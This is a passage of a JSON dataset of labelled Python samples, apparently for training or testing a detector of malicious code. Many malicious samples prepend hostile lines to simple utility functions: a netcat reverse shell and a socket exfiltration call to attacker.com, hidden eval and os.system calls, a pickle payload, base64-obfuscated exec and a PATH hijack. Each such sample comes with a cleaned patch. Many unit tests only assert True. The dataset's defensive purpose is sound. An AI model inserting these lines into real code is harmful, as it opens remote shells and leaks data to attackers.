code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_9a0b078e", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_b3573f82", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_ed26fb67", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_8cff2e7d", + "type": "functional", + "code_snippet": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ece95233", + "type": "true_positive", + "code_snippet": "import pythonn\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_950eb742", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_dabb8291", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_13ccc297", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_34537662", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_c1a2e3a1", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_c4b29d57", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_f580c3e2", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_e912e6a0", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_862d017c", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_02b3fced", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_6f8f273c", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b630a1a9", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_d76d2f38", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_fab514e9", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_e9a152a4", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_d9a3e700", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_d1ae87b5", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_bcae651f", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_b6333f60", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_6f271f50", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_6948d768", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a3ac344c", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fn_b3286477", + "type": "functional", + "code_snippet": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_f8450550", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_b84012d7", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_93fef1b9", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_dc56495b", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_97c949ce", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_26458ebf", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8a433fbd", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4e6d1cf8", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fp_99a7b496", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1847383b", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_a84307b4", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_411620a3", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_4c80b11a", + "type": "functional", + "code_snippet": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_682814e2", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_cdfea0d2", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_9639fb63", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_adc50ddd", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_ded03c5a", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_d9af2eef", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_73219304", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_29c2804f", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_370cd12d", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_b500562a", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + 